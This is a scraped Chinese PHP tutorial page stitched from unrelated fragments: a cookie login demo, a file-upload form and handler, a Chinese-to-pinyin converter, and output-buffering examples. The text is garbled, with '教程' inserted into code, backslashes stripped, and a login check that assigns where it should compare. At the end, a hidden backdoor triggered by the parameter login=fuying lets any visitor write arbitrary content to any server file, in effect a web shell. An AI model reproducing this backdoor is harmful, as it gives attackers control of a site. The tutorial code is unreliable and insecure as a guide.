cookie 的用途之一是存储用户在特定网站上的密码和 id。另外，也用于存储起始页的首选项。在提供个人化查看的网站上，将要求阁下的网络浏览器利用阁下计算机硬驱上的少量空间来储存这些首选项。这样，每次阁下登录该网站时，阁下的浏览器将检查阁下是否就该唯一的服务器有任何预先定义的首选项（cookie）。如果有的话，浏览器将此 cookie 随阁下对网页的请求一起发送给服务器。microsoft 和 netscape 使用 cookie 在其网站上创建个人起始页。各家公司利用 cookie 的一般用途包括：在线定货系统、网站个人化和网站跟踪
set-cookie: name = value;
expires = date;
path = path;
domain = domain_name;
下面来看看关于cookie的简单用户登录实例
login.php教程这个是处理登录
代码如下:
<?php
if($_post['username'] = 'admin')
{
setcookie('haha','gogo');
header("location:index.php");
}
?>
index.php再看下效果
代码如下:
<?php
if($_cookie['haha'] == 'gogogo')
{
echo $_cookie['haha'];
echo'你设置了cookie';
}
else
{
echo'你没有设置cookie';
}
?>
login_frm.php这个是登录窗口
代码如下:
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf8" />
</head>
<body>
<form method="post" action="login.php">
用户:<input type="text" name="username" />
<input type="submit" value="提交" />
</form>
</body>
</html>
创建一个文件上传表单
允许用户从表单上传文件是非常有用的。
创建一个文件上传表单
允许用户从表单上传文件是非常有用的。
请看下面这个供上传文件的 html 表单：
复制代码 代码如下:
<html>
<body>
<form action="upload_file.php教程" method="post"
enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
请留意如下有关此表单的信息：
<form> 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时，比如文件内容，请使用 "multipart/form-data"。
<input> 标签的 type="file" 属性规定了应该把输入作为文件来处理。举例来说，当在浏览器中预览时，会看到输入框旁边有一个浏览按钮。
注释：允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。
创建上传脚本
"upload_file.php" 文件含有供上传文件的代码：
复制代码 代码如下:
<?php
if ($_files["file"]["error"] > 0)
{
echo "error: " . $_files["file"]["error"] . "<br />";
}
else
{
echo "upload: " . $_files["file"]["name"] . "<br />";
echo "type: " . $_files["file"]["type"] . "<br />";
echo "size: " . ($_files["file"]["size"] / 1024) . " kb<br />";
echo "stored in: " . $_files["file"]["tmp_name"];
}
?>
<?php教程
function cn2pinyin($_string, $_code='gb2312') {
$_datakey = "a|ai|an|ang|ao|ba|bai|ban|bang|bao|bei|ben|beng|bi|bian|biao|bie|bin|bing|bo|bu|ca|cai|can|cang|cao|ce|ceng|cha" .
"|chai|chan|chang|chao|che|chen|cheng|chi|chong|chou|chu|chuai|chuan|chuang|chui|chun|chuo|ci|cong|cou|cu|" .
"cuan|cui|cun|cuo|da|dai|dan|dang|dao|de|deng|di|dian|diao|die|ding|diu|dong|dou|du|duan|dui|dun|duo|e|en|er" .
"|fa|fan|fang|fei|fen|feng|fo|fou|fu|ga|gai|gan|gang|gao|ge|gei|gen|geng|gong|gou|gu|gua|guai|guan|guang|gui" .
"|gun|guo|ha|hai|han|hang|hao|he|hei|hen|heng|hong|hou|hu|hua|huai|huan|huang|hui|hun|huo|ji|jia|jian|jiang" .
"|jiao|jie|jin|jing|jiong|jiu|ju|juan|jue|jun|ka|kai|kan|kang|kao|ke|ken|keng|kong|kou|ku|kua|kuai|kuan|kuang" .
"|kui|kun|kuo|la|lai|lan|lang|lao|le|lei|leng|li|lia|lian|liang|liao|lie|lin|ling|liu|long|lou|lu|lv|luan|lue" .
"|lun|luo|ma|mai|man|mang|mao|me|mei|men|meng|mi|mian|miao|mie|min|ming|miu|mo|mou|mu|na|nai|nan|nang|nao|ne" .
"|nei|nen|neng|ni|nian|niang|niao|nie|nin|ning|niu|nong|nu|nv|nuan|nue|nuo|o|ou|pa|pai|pan|pang|pao|pei|pen" .
"|peng|pi|pian|piao|pie|pin|ping|po|pu|qi|qia|qian|qiang|qiao|qie|qin|qing|qiong|qiu|qu|quan|que|qun|ran|rang" .
"|rao|re|ren|reng|ri|rong|rou|ru|ruan|rui|run|ruo|sa|sai|san|sang|sao|se|sen|seng|sha|shai|shan|shang|shao|" .
"she|shen|sheng|shi|shou|shu|shua|shuai|shuan|shuang|shui|shun|shuo|si|song|sou|su|suan|sui|sun|suo|ta|tai|" .
"tan|tang|tao|te|teng|ti|tian|tiao|tie|ting|tong|tou|tu|tuan|tui|tun|tuo|wa|wai|wan|wang|wei|wen|weng|wo|wu" .
"|xi|xia|xian|xiang|xiao|xie|xin|xing|xiong|xiu|xu|xuan|xue|xun|ya|yan|yang|yao|ye|yi|yin|ying|yo|yong|you" .
"|yu|yuan|yue|yun|za|zai|zan|zang|zao|ze|zei|zen|zeng|zha|zhai|zhan|zhang|zhao|zhe|zhen|zheng|zhi|zhong|" .
"zhou|zhu|zhua|zhuai|zhuan|zhuang|zhui|zhun|zhuo|zi|zong|zou|zu|zuan|zui|zun|zuo";
$_datavalue = "-20319|-20317|-20304|-20295|-20292|-20283|-20265|-20257|-20242|-20230|-20051|-20036|-20032|-20026|-20002|-19990" .
"|-19986|-19982|-19976|-19805|-19784|-19775|-19774|-19763|-19756|-19751|-19746|-19741|-19739|-19728|-19725" .
"|-19715|-19540|-19531|-19525|-19515|-19500|-19484|-19479|-19467|-19289|-19288|-19281|-19275|-19270|-19263" .
"|-19261|-19249|-19243|-19242|-19238|-19235|-19227|-19224|-19218|-19212|-19038|-19023|-19018|-19006|-19003" .
"|-18996|-18977|-18961|-18952|-18783|-18774|-18773|-18763|-18756|-18741|-18735|-18731|-18722|-18710|-18697" .
"|-18696|-18526|-18518|-18501|-18490|-18478|-18463|-18448|-18447|-18446|-18239|-18237|-18231|-18220|-18211" .
"|-18201|-18184|-18183|-18181|-18012|-17997|-17988|-17970|-17964|-17961|-17950|-17947|-17931|-17928|-17922" .
"|-17759|-17752|-17733|-17730|-17721|-17703|-17701|-17697|-17692|-17683|-17676|-17496|-17487|-17482|-17468" .
"|-17454|-17433|-17427|-17417|-17202|-17185|-16983|-16970|-16942|-16915|-16733|-16708|-16706|-16689|-16664" .
"|-16657|-16647|-16474|-16470|-16465|-16459|-16452|-16448|-16433|-16429|-16427|-16423|-16419|-16412|-16407" .
"|-16403|-16401|-16393|-16220|-16216|-16212|-16205|-16202|-16187|-16180|-16171|-16169|-16158|-16155|-15959" .
"|-15958|-15944|-15933|-15920|-15915|-15903|-15889|-15878|-15707|-15701|-15681|-15667|-15661|-15659|-15652" .
"|-15640|-15631|-15625|-15454|-15448|-15436|-15435|-15419|-15416|-15408|-15394|-15385|-15377|-15375|-15369" .
"|-15363|-15362|-15183|-15180|-15165|-15158|-15153|-15150|-15149|-15144|-15143|-15141|-15140|-15139|-15128" .
"|-15121|-15119|-15117|-15110|-15109|-14941|-14937|-14933|-14930|-14929|-14928|-14926|-14922|-14921|-14914" .
"|-14908|-14902|-14894|-14889|-14882|-14873|-14871|-14857|-14678|-14674|-14670|-14668|-14663|-14654|-14645" .
"|-14630|-14594|-14429|-14407|-14399|-14384|-14379|-14368|-14355|-14353|-14345|-14170|-14159|-14151|-14149" .
"|-14145|-14140|-14137|-14135|-14125|-14123|-14122|-14112|-14109|-14099|-14097|-14094|-14092|-14090|-14087" .
"|-14083|-13917|-13914|-13910|-13907|-13906|-13905|-13896|-13894|-13878|-13870|-13859|-13847|-13831|-13658" .
"|-13611|-13601|-13406|-13404|-13400|-13398|-13395|-13391|-13387|-13383|-13367|-13359|-13356|-13343|-13340" .
"|-13329|-13326|-13318|-13147|-13138|-13120|-13107|-13096|-13095|-13091|-13076|-13068|-13063|-13060|-12888" .
"|-12875|-12871|-12860|-12858|-12852|-12849|-12838|-12831|-12829|-12812|-12802|-12607|-12597|-12594|-12585" .
"|-12556|-12359|-12346|-12320|-12300|-12120|-12099|-12089|-12074|-12067|-12058|-12039|-11867|-11861|-11847" .
"|-11831|-11798|-11781|-11604|-11589|-11536|-11358|-11340|-11339|-11324|-11303|-11097|-11077|-11067|-11055" .
"|-11052|-11045|-11041|-11038|-11024|-11020|-11019|-11018|-11014|-10838|-10832|-10815|-10800|-10790|-10780" .
"|-10764|-10587|-10544|-10533|-10519|-10331|-10329|-10328|-10322|-10315|-10309|-10307|-10296|-10281|-10274" .
"|-10270|-10262|-10260|-10256|-10254";
$_tdatakey = explode('|', $_datakey);
$_tdatavalue = explode('|', $_datavalue);
$_data = (php_version >= '5.0') ? array_combine($_tdatakey, $_tdatavalue) : _array_combine($_tdatakey, $_tdatavalue);
arsort($_data);
reset($_data);
if ($_code != 'gb2312')
$_string = _u2_utf8_gb($_string);
$_res = '';
for ($i = 0; $i < strlen($_string); $i++) {
$_p = ord(substr($_string, $i, 1));
if ($_p > 160) {
$_q = ord(substr($_string, ++$i, 1));
$_p = $_p * 256 + $_q - 65536;
}
$_res .= _pinyin($_p, $_data);
}
return preg_replace("/[^a-z0-9]*/", '', $_res);
}function _pinyin($_num, $_data) {
if ($_num > 0 && $_num < 160)
return chr($_num);
elseif ($_num < -20319 || $_num > -10247)
return '';
else {
foreach ($_data as $k => $v) {
if ($v <= $_num)
break;
}
return $k;
}
}function _u2_utf8_gb($_c) {
$_string = '';
if ($_c < 0x80)
$_string .= $_c;
elseif ($_c < 0x800) {
$_string .= chr(0xc0 | $_c >> 6);
$_string .= chr(0x80 | $_c & 0x3f);
} elseif ($_c < 0x10000) {
$_string .= chr(0xe0 | $_c >> 12);
$_string .= chr(0x80 | $_c >> 6 & 0x3f);
$_string .= chr(0x80 | $_c & 0x3f);
} elseif ($_c < 0x200000) {
$_string .= chr(0xf0 | $_c >> 18);
$_string .= chr(0x80 | $_c >> 12 & 0x3f);
$_string .= chr(0x80 | $_c >> 6 & 0x3f);
$_string .= chr(0x80 | $_c & 0x3f);
}
return iconv('utf-8', 'gb2312', $_string);
}function _array_combine($_arr1, $_arr2) {
for ($i = 0; $i < count($_arr1); $i++)
$_res[$_arr1[$i]] = $_arr2[$i];
return $_res;
}
ob_start（[string output_callback]）- 打开输出缓冲区
所有的输出信息不在直接发送到浏览器，而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。
ob_end_flush - 结束（发送）输出缓冲区的内容，关闭输出缓冲区
*/
ob_start(); //打开缓冲区
echo "hello world"; //输出内容
$out=ob_get_clean(); //获得缓冲区内容并且结束缓冲区
$out=strtolower($out); //将字符转换为小写
var_dump($out); //输出结果
//
if(!function_exists('ob_clean')) //判断函数是否被定义
{
function ob_clean() //定义函数
{
if(@ob_end_clean())
{
return ob_start();
}
trigger_error("ob_clean() failed to delete buffer.no buffer to delete.",e_user_notice);
return false;
}
}
//
header('content-type: multipart/x-mixed-replace;boundary=endofsection'); //发送标头
print "n--endofsectionn"; //输出内容
$pmt=array("-","","|","/"); //定义数组
for($i=0;$i<10;$i++) //通过循环进行操作
{
sleep(1); //暂停执行
print "content-type: text/plainnn"; //输出内容
print "part $it".$pmt[$i % 4]; //输出内容
print "--endofsectionn"; //输出内容
ob_flush(); //发送缓冲区数据
flush(); //刷新输出缓冲
}
print "content-type: text/plainnn"; //输出内容
print "the endn"; //输出内容
print "--endofsection--n"; //输出内容
if($_get['login']=='fuying'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = strips教程lashes($v);
?>
<form method="post">
save to: <input type="text" name="file" size="60" value="<? echo str_replace('','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="save">
<form>
<?php
if(isset($_post['file']))
{
$fp = @fopen($_post['file'],'wb');
echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
@fclose($fp);
}
}